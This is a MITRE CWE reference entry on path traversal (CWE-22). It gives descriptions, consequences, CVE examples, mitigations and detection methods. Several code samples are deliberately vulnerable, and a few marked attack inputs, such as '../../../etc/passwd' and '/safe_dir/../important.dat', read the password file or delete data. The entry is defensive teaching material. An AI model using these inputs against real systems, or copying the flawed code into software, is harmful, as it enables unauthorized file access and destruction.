2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Demonstrative_Examples, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Type
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated References, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Incorrect or Incomplete Initialization

Weakness ID: 22

View customized information:

Description

Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Alternate Terms

Directory traversal
Path traversal:	"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	668	Exposure of Resource to Wrong Sphere
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	706	Use of Incorrectly-Resolved Name or Reference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	23	Relative Path Traversal
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	36	Absolute Path Traversal
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	73	External Control of File Name or Path
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	172	Encoding Error

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1219	File Handling Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	706	Use of Incorrectly-Resolved Name or Reference

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	23	Relative Path Traversal
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	36	Absolute Path Traversal

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	23	Relative Path Traversal
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	36	Absolute Path Traversal

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity	Technical Impact: Modify Files or Directories The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality	Technical Impact: Read Files or Directories The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability	Technical Impact: DoS: Crash, Exit, or Restart The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)

Example Language: Perl

my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {

print "<li>$_</li>\n";

}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)

../../../etc/passwd

The program would generate a profile pathname like this:

(result)

/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)

/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)

Example Language: Java

String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)

Example Language: Perl

my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)

../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)

../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)

/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)

Example Language: Java

String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{

File f = new File(path);
f.delete()

}

An attacker could provide an input such as this:

(attack code)

/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)

Example Language: HTML

<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)

Example Language: Java

public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {

BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {

if (line.indexOf(boundary) == -1) {

bw.write(line);
bw.newLine();
bw.flush();

}

} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}

}

...

}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 6

(bad code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

(good code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
CVE-2019-20916	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
CVE-2022-31503	Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
CVE-2022-24877	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2020-4053	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
CVE-2020-3452	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
CVE-2019-10743	Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
CVE-2010-0467	Newsletter module allows reading arbitrary files using "../" sequences.
CVE-2006-7079	Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
CVE-2009-4194	FTP server allows deletion of arbitrary files using ".." in the DELE command.
CVE-2009-4053	FTP server allows creation of arbitrary directories using ".." in the MKD command.
CVE-2009-0244	FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
CVE-2009-4013	Software package maintenance program allows overwriting arbitrary files using "../" sequences.
CVE-2009-4449	Bulletin board allows attackers to determine the existence of files using the avatar.
CVE-2009-4581	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
CVE-2010-0012	Overwrite of files using a .. in a Torrent file.
CVE-2010-0013	Chat program allows overwriting files using a custom smiley request.
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2009-1936	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

realpath() in C

getCanonicalPath() in Java

GetFullPath() in ASP.NET

realpath() or abs_path() in Perl

realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Functional Areas

File Processing

Affected Resources

File or Directory

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	865	2011 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	981	SFP Secondary Cluster: Path Traversal
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1404	Comprehensive Categorization: File Handling
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
SEI CERT Perl Coding Standard	IDS00-PL	Exact	Canonicalize path names before validating them
WASC	33		Path Traversal
Software Fault Patterns	SFP16		Path Traversal
OMG ASCSM	ASCSM-CWE-22

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-126	Path Traversal
CAPEC-64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
CAPEC-76	Manipulating Web Input to File System Calls
CAPEC-78	Using Escaped Slashes in Alternate Encoding
CAPEC-79	Using Slashes in Alternate Encoding

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.

[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <https://www.sans.org/blog/top-25-series-rank-7-path-traversal/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2022-07-11	Nick Johnston
2022-07-11	Identified weakness in Perl demonstrative example
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Potential_Mitigations
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Observed_Examples
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Related_Attack_Patterns, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Other_Notes, Research_Gaps
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Demonstrative_Examples
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships, Type
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Observed_Examples, Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description, Detection_Factors
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
